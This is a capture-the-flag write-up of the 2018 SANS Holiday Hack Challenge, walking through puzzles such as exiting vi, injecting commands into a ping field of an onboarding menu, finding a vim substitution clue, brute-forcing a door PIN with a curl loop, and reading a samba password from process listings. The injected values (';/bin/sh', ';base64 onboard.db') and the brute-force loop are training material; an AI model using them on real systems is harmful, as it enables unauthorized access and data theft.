# SANS Christmas Challenge 2018

Posted on lun. 14 janvier 2019 in Write-up

🎵 I'm dreaming of a pwned Christmaaaaas 🎵 As usual, here's my write-up for the 2018 SANS Christmas Challenge.

## Introduction

This year, we're invited by Santa to KringleCon! It's a security conference, with several talks by renowned security professionals. Santa organized this conference because of the security breaches that occured during these past Christmases. He also decided to up the physical security, as we can see toy soldiers patrolling. They seem to obey to some guy named Hans, who is also here. Let's hope that things don't go awry this year!

Santa says

Welcome, my friends! Welcome to my castle! Would you come forward please?

Welcome. It’s nice to have you here! I’m so glad you could come. This is going to be such an exciting day!

I hope you enjoy it. I think you will.

Today is the start of KringleCon, our new conference for cyber security practitioners and hackers around the world.

KringleCon is designed to share tips and tricks to help leverage our skills to make the world a better, safer place.

Remember to look around, enjoy some talks by world-class speakers, and mingle with our other guests.

And, if you are interested in the background of this con, please check out Ed Skoudis’ talk called START HERE.

Delighted to meet you. Overjoyed! Enraptured! Entranced! Are we ready? Yes! In we go!

Here are the questions we must answer:

1. What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions?
2. Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?
3. The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker?
4. Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?
5. Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name (in username@domain.tld format)?
6. Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?
7. Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K"?
8. Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?
9. Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks. To start, assist Alabaster by accessing (clicking) the snort terminal below. Then create a rule that will catch all new infections. What is the success message displayed by the Snort terminal?
10. After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?
11. Analyze the full malware source code to find a kill-switch and activate it at the North Pole's domain registrar HoHoHo Daddy. What is the full sentence text that appears on the domain registration success message (bottom sentence)?
12. After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered in the database for the Vault entry?
13. Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?
14. Who was the mastermind behind the whole KringleCon plan?

As was done last year, we'll try not to rely on the hints given by the elves, because it's more fun to try to find solutions in your own way. This is what allows you to come up with creative solutions. So I'll post the solutions to the Cranberry Pi challenges, but we won't use the hints that are given after solving.

Disclaimer: I did use the hints for question 12, but not before I wasted soooo much time exploring soooo many dead-ends. Fun!

As usual, I'll try to detail my thought process as much as possible, including dead-ends and mistakes (that's the best way to learn).

Alright, let's get to it!

## Orientation Challenge

### Bushy Evergreen's Cranberry Pi Challenge

Bushy Evergreen seems to be having problem with exiting his text editor. Can you guess the editor?

                ........................................
.;oooooooooooool;,,,,,,,,:loooooooooooooll:
.:oooooooooooooc;,,,,,,,,:ooooooooooooollooo:
.';;;;;;;;;;;;;;,''''''''';;;;;;;;;;;;;,;ooooo:
.''''''''''''''''''''''''''''''''''''''''';ooooo:
;oooooooooooool;''''''',:loooooooooooolc;',,;ooooo:
.:oooooooooooooc;',,,,,,,:ooooooooooooolccoc,,,;ooooo:
.cooooooooooooo:,''''''',:ooooooooooooolcloooc,,,;ooooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;ooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;l'
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,..
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc.
coooooooooooooo,,,,,,,,,;ooooooooooooooloooo:.
coooooooooooooo,,,,,,,,,;ooooooooooooooloo;
:llllllllllllll,'''''''';llllllllllllllc,

I'm in quite a fix, I need a quick escape.
Pepper is quite pleased, while I watch here, agape.
Her editor's confusing, though "best" she says - she yells!
My lesson one and your role is exit back to shellz.

-Bushy Evergreen

Exit vi.


We appear to be in a vi-edited document, and we have to exit vi. Luckily for me, that's also my editor of choice. First, you have to make sure that you are in command mode, by pressing Escape. Then, you can simply exit vi by typing :q, followed by Enter.

What's more, if you press Ctrl + C while in vi, the following message is displayed: Type :quit<Enter> to exit Vim.

### KringleCon Holiday Hack History questions

We are tasked with performing a little bit of OSINT in order to answer some questions, regarding the three last SANS Christmas Challenges. Fortunately, all the answers can be found in your favorite SANS Christmas Challenge write-ups! The correct answers are marked, and I give you a link to my past write-ups where the answers can be found. Alternatively, you can find the answers in Ed Skoudis' introduction video to KringleCon.

1. In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?
1. [✓] Firmware (answer here)
2. [ ] Clothing
3. [ ] Wireless adapter
4. [ ] Flux capacitor
2. In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
1. [ ] Elgnirk
2. [✓] ATNAS (answer here)
3. [ ] GIYH
4. [ ] Savvy, Inc.
3. In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
1. [ ] Tom-tom drums
2. [ ] DNA on a mug of milk
3. [ ] Cookie crumbs
4. [✓] Business card (answer here)
4. In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
1. [ ] Snozberry Pi
2. [ ] Blueberry Pi
3. [✓] Cranberry Pi (answer here)
4. [ ] Elderberry Pi
5. In 2017, the North Pole was being bombarded by giant objects. What were they?
1. [ ] TCP packets
2. [✓] Snowballs (answer here)
3. [ ] Misfit toys
4. [ ] Candy canes
6. In 2017, Sam the snowman needed help reassembling pages torn from what?
1. [ ] The Bash man page
2. [ ] Scrooge's payroll ledger
3. [ ] System swap space
4. [✓] The Great Book (answer here)

Answering correctly these questions gives us the hidden phrase, Happy Trails.

## Directory Browsing

### Minty Candycane's Cranberry Pi Challenge

A new employee, Mr Chan, is arriving. However, in order to make his name tag, we find his first name.

We just hired this new worker,
Californian or New Yorker?
Think he's making some new toy bag...
My job is to make his name tag.
Golly gee, I'm glad that you came,
I recall naught but his last name!
Use our system or your own plan,
Find the first name of our guy "Chan!"
-Bushy Evergreen
To solve this challenge, determine the new worker's first name and submit to runtoanswer.
====================================================================
=                                                                  =
= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =
=                                                                  =
====================================================================
Press  1 to start the onboard process.
Press  2 to verify the system.
Press  q to quit.


We get access to a simple interface. By pressing 1, we can enter a new employee's information:

Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
: John
: McClane
: Test Street
:
: New York
: 1111
:
:
Is this correct?
John McClane
Test Street
New York, 1111
y/n: y
Save to sqlite DB using command line
Press Enter to continue...:


Apparently, the result is saved in a SQLite database. We can try a SQL injection, and we'll see that special characters are, indeed, not sanitized:

Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
: John'
:
:
:
:
:
:
:
Is this correct?
John'

,
y/n: y
Save to sqlite DB using command line
Error: unrecognized token: "'John'','', '', '', '', '', '', '')"
Press Enter to continue...:


So, there is indeed a SQL injection. However, it seems to be in an INSERT-kind of statement. While it's possible to perform SQL injection in these statements, it's kind of a pain, because most of the time, you can't get the result of your injection.

So, let's take a look at the other functionality of the menu:

Please make a selection: 2
Validating data store for employee onboard information.
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.070 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.051 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2039ms
rtt min/avg/max/mdev = 0.051/0.065/0.075/0.012 ms
onboard.db: SQLite 3.x database
Press Enter to continue...:


So, the program seems to perform a ping on an IP address that we give, and then to analyze a file called onboard.db, which seems to be our SQLite database. Let's see if our IP address is correctly sanitized, or if we can try some basic command injection:

Validating data store for employee onboard information.
Enter address of server: 127.0.0.1; ls -lh
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.059 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.064 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
rtt min/avg/max/mdev = 0.059/0.062/0.065/0.009 ms
total 5.4M
-rw-r--r-- 1 root root 3.8K Dec 14 16:13 menu.ps1
-rw-rw-rw- 1 root root  24K Dec 14 16:13 onboard.db
-rwxr-xr-x 1 root root 5.3M Dec 14 16:13 runtoanswer
onboard.db: SQLite 3.x database


It worked! We were able to execute arbitrary commands, and list the content of the current directory. The menu.ps1 file seems to be a PowerShell script which displays the menu of the Cranberry Pi. The runtoanswer file seems to be an executable that we have to run in order to give our answer, to wit the first name of Mr Chan. Let's take a look at menu.ps1. We can do this by using our arbitrary command execution to cat menu.ps1:

$global:firstrun =$TRUE
{
$intro = @( "We just hired this new worker,", "Californian or New Yorker?", "Think he's making some new toy bag...", "My job is to make his name tag.", "", "Golly gee, I'm glad that you came,", "I recall naught but his last name!", "Use our system or your own plan,", "Find the first name of our guy "Chan!"", "", "-Bushy Evergreen", "", "To solve this challenge, determine the new worker's first name and submit to runtoansw er." )$header = @(
"===================================================================="
"=                                                                  =",
"= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =",
"=                                                                  =",
"===================================================================="
)
cls
if ($global:firstrun -eq$TRUE) {
Write-Host "nn"
for ($i = 0;$i -lt $intro.length;$i++) {
Write-Host "nnIs this correct?nn"
Write-Host $intro[$i]
}
$global:firstrun =$FALSE
}

Write-Host "nnn"
for ($i = 0;$i -lt $header.length;$i++) {
Write-Host $header[$i]
}
Write-Host "nnn"
Write-Host ' Press '1' to start the onboard process.'
Write-Host ' Press '2' to verify the system.'
Write-Host ' Press 'q' to quit.'
Write-Host "n"
}

function Employee-Onboarding-Form
{
Write-Host "nnWelcome to Santa's Castle!nn"
Write-Host "At Santa's Castle, our employees are our family. We care for each other,"
Write-Host "and support everyone in our common goals.n"
Write-Host "Your first test at Santa's Castle is to complete the new employee onboarding paperwork."
Write-Host "Don't worry, it's an easy test! Just complete the required onboarding information below.nn"

$efirst = Read-Host "Enter your first name.n"$elast = Read-Host "Enter your last name.n"
$estreet1 = Read-Host "Enter your street address (line 1 of 2).n"$estreet2 = Read-Host "Enter your street address (line 2 of 2).n"
$ecity = Read-Host "Enter your city.n"$epostalcode = Read-Host "Enter your postal code.n"
$ephone = Read-Host "Enter your phone number.n"$eemail = Read-Host "Enter your email address.n"

Write-Host "nnIs this correct?nn"
Write-Host "$efirst$elast"
Write-Host "$estreet1" if ($estreet2) {
Write-Host "$estreet2" } Write-Host "$ecity, $epostalcode" Write-Host "$ephone"
Write-Host "$eemail"$input = Read-Host 'y/n'
if ($input -eq 'y' -Or$input -eq 'Y') {
Write-Host "Save to sqlite DB using command line"
Start-Process -FilePath "./sqlite3" -ArgumentList "onboard.db "INSERT INTO onboard (fname, lname, street1, street2, city, postalcode, phone, email) VALUES ('$efirst','$elast', '$estreet1', '$estreet2', '$ecity', '$epostalcode', '$ephone', '$eemail')""
}
}

try
{
do
{
$input = Read-Host 'Please make a selection' switch ($input)
{
'1' {
cls
Employee-Onboarding-Form
} '2' {
cls
Write-Host "Validating data store for employee onboard information."
$server = Read-Host 'Enter address of server' /bin/bash -c "/bin/ping -c 3$server"
/bin/bash -c "/usr/bin/file onboard.db"
} '9' {
/usr/bin/pwsh
return
} 'q' {
return
} default {
Write-Host "Invalid entry."
}
}
pause
}
until ($input -eq 'q') } finally { }  It seems that our menu has an hidden function. If we input 9, we get access to a PowerShell console. Let's do so, and use our shell to analyze the onboard.db file: Please make a selection: 9 PowerShell v6.0.3 Copyright (c) Microsoft Corporation. All rights reserved. https://aka.ms/pscore6-docs Type 'help' to get help. PS /home/elf> sqlite3 ./onboard.db SQLite version 3.11.0 2016-02-15 17:29:24 Enter ".help" for usage hints. sqlite> .schema CREATE TABLE onboard ( id INTEGER PRIMARY KEY, fname TEXT NOT NULL, lname TEXT NOT NULL, street1 TEXT, street2 TEXT, city TEXT, postalcode TEXT, phone TEXT, email TEXT ); sqlite> select * from onboard where lname = 'Chan'; 84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com  Hello, Scott Chan! We can now use runtoanswer to input our answer: PS /home/elf> ./runtoanswer Loading, please wait..... Enter Mr. Chan's first name: Scott .;looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooool:' 'ooooooooooookOOooooxOOdodOOOOOOOdoxOOdoooooOOkoooooooxO Okdooooooooooooo; 'oooooooooooooX ooooO xod xoO xooooo Xoooook 0 Oooooooooooooo; :oooooooooooooX ooooO xod 0ooooooO xooooo Xoooox ooooo kooooooooooooo coooooooooooooX xod 0ooO xooooo XooooO koooook ooooooooooooo coooooooooooooX dddd0 xod 0ddddooO xooooo XooooO OoooooO kooooooooooooo coooooooooooooX ooooO xod KxxxxdoO Okkkxo XkkkkdX xxk oooooooooooooo cooooooooooooo0 ooook dod kok Oo Xook Kxooooooooooooooo cooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo cooooooooooooooooooooooooooooooooo MY NAME IS oooooooooooooooooooooooooooooooo cddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddo OMMMMMMMMMMMMMMMNXXWMMMMMMMNXXWMMMMMMWXKXWMMMMWWWWWWWWWMWWWWWWWWWMMMMMMMMMMMMW OMMMMMMMMMMMMW: .. ;MMMk' .NMX:. . .lWO d xMMMMMMMMMMMW OMMMMMMMMMMMMo OMMWXMMl lNMMNxWK ,XMMMO .MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMX. .cOWMN 'MMMMMMM; WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMMMKo, KN ,MMMMMMM, WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMKNMMMO oM, dWMMWOWk cWMMMO ,MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMc ... cWMWl. .. .NMk. .. .oMMMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW xXXXXXXXXXXXXXKOxk0XXXXXXX0kkkKXXXXXKOkxkKXXXXXXXKOKXXXXXXXKO0XXXXXXXXXXXXXXXK .oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo, .looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo, .,cllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc;. Congratulations!  Lucky we had this hidden functionality. But what if it wasn't there? Well, we can still use our command injection vulnerability to drop to a shell: Validating data store for employee onboard information. Enter address of server: ;/bin/sh Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination$ ls


And what if we can't run /bin/sh? Well, we can still recover the SQLite database file, and analyze it offline. To do so, we can base64 encode it, which is kind of my favorite trick:

Validating data store for employee onboard information.
Enter address of server: ;base64 onboard.db
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAAAQAAAAYAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[snip]


We then copy/paste the encoded file to our computer, decode it, and interrogate it:

$base64 -d < onboard.db.b64 > onboard.db$ file onboard.db
onboard.db: SQLite 3.x database, last written using SQLite version 3016002
$sqlite3 onboard.db SQLite version 3.22.0 2018-01-22 18:45:57 Enter ".help" for usage hints. sqlite> select * from onboard where lname="Chan"; 84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com  ### Analyzing the KringleCon CFP website We're asked to find who submitted the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness, and to take a look at KringleCon's CFP website to find out. The web site is simple enough, and has a link marked "CFP". When we click on it, we're taken to the webpage https://cfp.kringlecastle.com/cfp/cfp.html, which tells us that the CFP is closed. However, we're not at the root of the cfp folder. Let's forcefully browse to https://cfp.kringlecastle.com/cfp/: We find a CSV file called rejected-talks.csv. If we search the talk name in it, we'll find that submitter is one John McClane: $ curl https://cfp.kringlecastle.com/cfp/rejected-talks.csv 2> /dev/null | grep -i 'Data Loss for Rainbow Teams: A Path in the Darkness'
qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,Data Loss for Rainbow Teams: A Path in the Darkness,1,11


## de Bruijn Sequences

### Tangle Coalbox's Cranberry Pi Challenge

Apparently, a girl elf has been given a love poem by a boy elf, and ER (Elf Ressources) has been involved, because a complaint has been made. We're asked to find the firstname of the elf who received the love poem.

Christmas is coming, and so it would seem,
ER (Elf Resources) crushes elves' dreams.
One tells me she was disturbed by a bloke.
He tells me this must be some kind of joke.
Has this jamoke, for this elf, got some feels?
Lethal forensics ain't my cup of tea;
If YOU can fake it, my hero you'll be.
Clearing this mess up that's now at your feet.
Certain text editors can leave some clue.
Did our young Romeo leave one for you?
- Tangle Coalbox, ER Investigator
Find the first name of the elf of whom a love poem
was written.  Complete this challenge by submitting
elf@612b2a7501cc:~$ Let's see what files we can see: elf@6bb580d3ee2e:~$ ls -lha
total 5.4M
drwxr-xr-x 1 elf  elf  4.0K Dec 14 16:28 .
drwxr-xr-x 1 root root 4.0K Dec 14 16:28 ..
-rw-r--r-- 1 elf  elf   419 Dec 14 16:13 .bash_history
-rw-r--r-- 1 elf  elf   220 May 15  2017 .bash_logout
-rw-r--r-- 1 elf  elf  3.5K Dec 14 16:28 .bashrc
-rw-r--r-- 1 elf  elf   675 May 15  2017 .profile
drwxr-xr-x 1 elf  elf  4.0K Dec 14 16:28 .secrets
-rw-r--r-- 1 elf  elf  5.0K Dec 14 16:13 .viminfo
-rwxr-xr-x 1 elf  elf  5.3M Dec 14 16:13 runtoanswer
elf@6bb580d3ee2e:~$ls -lhaR .secrets/ .secrets/: total 12K drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 . drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .. drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 her .secrets/her: total 12K drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 . drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .. -rw-r--r-- 1 elf elf 1.9K Dec 14 16:13 poem.txt elf@6bb580d3ee2e:~$ cat .secrets/her/poem.txt
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure--
There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door--
Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
NEVERMORE in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
Of good fortune fates had borne him.  Offered her his dexter forelimb,
Never was his future less dim!  Should he now consider gliding--
No - they shouldn't but consider taking flight in sleigh and riding
Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
By his lovely NEVERMORE!
-Morcel Nougat


We find the poem in the .secrets folder. Good stuff, there, Morcel... Anyway, I first thought that the name of the elf was Nevermore, however it was not the case. So let's keep looking.

elf@6bb580d3ee2e:~$cat .bash_history set -o history whoami echo "No, really... /-:" mkdir -p .secrets/her/ firefox https://www.google.com/search?q=love+poetry vim ls -lAR exit set -o history df -h who firefox https://www.google.com/search?q=replacing+strings+in+vim time vim ls -lAR exit set -o history vim exit ls -lA cat .bash_history echo "" >> .bash_history firefox https://www.google.com/search?q=turn+off+bash+history set +o history set +o history  Apparently, in addition to ripping off love poem from the web, Morcel searched how to replace strings in vim. So he must have used vim to write the poem. Let's take a look at the .viminfo file: elf@6bb580d3ee2e:~$ cat .viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=latin1
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
# Last Substitute String:
$NEVERMORE # Command Line History (newest to oldest): :q |2,0,1546268730,,"q" :wq |2,0,1536607231,,"wq" :%s/Elinore/NEVERMORE/g |2,0,1536607217,,"%s/Elinore/NEVERMORE/g" [snip]  So, the name of the elf who received the poem seems to be Elinore. ### KringleCon Speaker Unpreparedness room We're in front of the unprepared speaker room, but there's a code to enter, by pressing four different symbols, △□○☆: #### Yannick's (dirty) solution By pressing four of the buttons randomly, we get an error message: If we take a look at the network requests that were made, we can see that a GET request was made to the https://doorpasscoden.kringlecastle.com/checkpass.php?i=0003&resourceId=undefined URL. The i variable seems to be holding our passcode. If we click another button, another request is directly made to https://doorpasscoden.kringlecastle.com/checkpass.php?i=0031&resourceId=undefined We can see that our i variable went from 0003 to 0031. From this, we can see that: • △ = 0 • □ = 1 • ○ = 2 • ☆ = 3 A four-digit PIN means 10.000 possible values. It's quite easily manageable by bruteforce, even online. So let's write a simple one-liner that will try every possible value: $ for i in seq -w 9999; do echo $i; curl "https://doorpasscoden.kringlecastle.com/checkpass.php?i=$i&resourceId=undefined" > $i.txt 2>/dev/null & done  This loop will generate every number between 0000 and 9999, perform a GET request to the URL that checks the passcode, and save the output in a file named after the passcode. The & before the done means that our curl commands will run in their own thread. After a few seconds, we can list our different files, and sort them by size: $ ls -lhSr
[snip]
-rw-r--r-- 1 XXX XXX  46 déc.  31 16:18 0001.txt
-rw-r--r-- 1 XXX XXX 142 déc.  31 16:18 0120.txt
$cat 0120.txt {"success":true,"resourceId":"undefined","hash":"0273f6448d56b3aba69af76f99bdc741268244b7a187c18f855c6302ec93b703","message":"Correct guess!"}  Our largest file was 0120.txt, which gives us the correct passcode, 0120, which means △□○△. Let's input this on the website: This gives us the message Welcome unprepared speaker!. #### The "official" solution The name of the challenge, and Tangle Coalbox, hint at taking a look at de Bruijn sequence. Indeed, since the code is tested every time the button is pressed, we don't have to perform a full bruteforce attack. We can generate a de Bruijn sequence of four symbols (length of the PIN) chosen in a set of four symbols (the number of buttons we have). This sequence tells us which buttons to push. Let's use this website to generate our sequence, with parameters k = 4, n = 4. The sequence is: 0 0 0 0 1 0 0 0 2 0 0 0 3 0 0 1 1 0 0 1 2 0 0 1 3 0 0 2 1 0 0 2 2 0 0 2 3 0 0 3 1 0 0 3 2 0 0 3 3 0 1 0 1 0 2 0 1 0 3 0 1 1 1 0 1 1 2 0 1 1 3 0 1 2 1 0 1 2 2 0 1 2 3 0 1 3 1 0 1 3 2 0 1 3 3 0 2 0 2 0 3 0 2 1 1 0 2 1 2 0 2 1 3 0 2 2 1 0 2 2 2 0 2 2 3 0 2 3 1 0 2 3 2 0 2 3 3 0 3 0 3 1 1 0 3 1 2 0 3 1 3 0 3 2 1 0 3 2 2 0 3 2 3 0 3 3 1 0 3 3 2 0 3 3 3 1 1 1 1 2 1 1 1 3 1 1 2 2 1 1 2 3 1 1 3 2 1 1 3 3 1 2 1 2 1 3 1 2 2 2 1 2 2 3 1 2 3 2 1 2 3 3 1 3 1 3 2 2 1 3 2 3 1 3 3 2 1 3 3 3 2 2 2 2 3 2 2 3 3 2 3 2 3 3 3 3 If we input this sequence, we get the correct code after pressing only 22 buttons. ## Data Repo Analysis After solving the last challenge, stuff begins to happen at KringleCon: Here's what's happening Suddenly, all elves in the castle start looking very nervous. You can overhear some of them talking with worry in their voices. The toy soldiers, who were always gruff, now seem especially determined as they lock all the exterior entrances to the building and barricade all the doors. No one can get out! And the toy soldiers' grunts take on an increasingly sinister tone. Uh-oh, seems like sh*t's about to go down! Let's keep solving our challenges, maybe we'll learn more about this. ### Wunorse Openslae's Cranberry Pi Challenge Wunorse Openslae is supposed to upload his report to a samba share, but can't remember the password. We're supposed to help him uploading his report: Thank you Madam or Sir for the help that you bring! I was wondering how I might rescue my day. Finished mucking out stalls of those pulling the sleigh, My report is now due or my KRINGLE's in a sling! There's a samba share here on this terminal screen. What I normally do is to upload the file, With our network credentials (we've shared for a while). When I try to remember, my memory's clean! Be it last night's nog bender or just lack of rest, For the life of me I can't send in my report. Could there be buried hints or some way to contort, Gaining access - oh please now do give it your best! -Wunorse Openslae Complete this challenge by uploading the elf's report.txt file to the samba share at //localhost/report-upload/ elf@566501e7c881:~$


I tried the usual suspects: bash history files, looking at /etc/samba/smb.conf, looking into /var/log, looking at cron files, checking what I could run with sudo, etc. This did not give anything interesting. However, the next usual suspect gave something. I checked what was running on the server, using ps:

elf@b08c86087276:~$ps aux | less USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 17952 2860 pts/0 Ss 22:22 0:00 /bin/bash /sbin/init root 11 0.0 0.0 45320 3060 pts/0 S 22:22 0:00 sudo -u manager /home/manager/ samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not -run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload root 16 0.0 0.0 45320 3180 pts/0 S 22:22 0:00 sudo -u elf /bin/bash manager 18 0.0 0.0 9500 2412 pts/0 S 22:22 0:00 /bin/bash /home/manager/samba- wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-a s-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //loca lhost/report-upload/ directreindeerflatterystable -U report-upload elf 20 0.0 0.0 18208 3360 pts/0 S 22:22 0:00 /bin/bash root 24 0.0 0.0 316680 15420 ? Ss 22:22 0:00 /usr/sbin/smbd root 25 0.0 0.0 308372 5704 ? S 22:22 0:00 /usr/sbin/smbd root 26 0.0 0.0 308388 5516 ? S 22:22 0:00 /usr/sbin/smbd root 28 0.0 0.0 316664 5868 ? S 22:22 0:00 /usr/sbin/smbd manager 49 0.0 0.0 4196 660 pts/0 S 22:27 0:00 sleep 60 elf 50 0.0 0.0 36636 2860 pts/0 R+ 22:27 0:00 ps aux elf 51 0.0 0.0 6556 956 pts/0 S+ 22:27 0:00 less  It seems that some scripts of the manager user are running, with a password given as a CLI argument. The samba credentials seem to be report-upload:directreindeerflatterystable. Let's try them: elf@b08c86087276:~$ smbclient -U report-upload //localhost/report-upload directreindeerflattery
stable
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]
smb: \> put report.txt
putting file report.txt as \report.txt (250.5 kb/s) (average 250.5 kb/s)
smb: \> Terminated
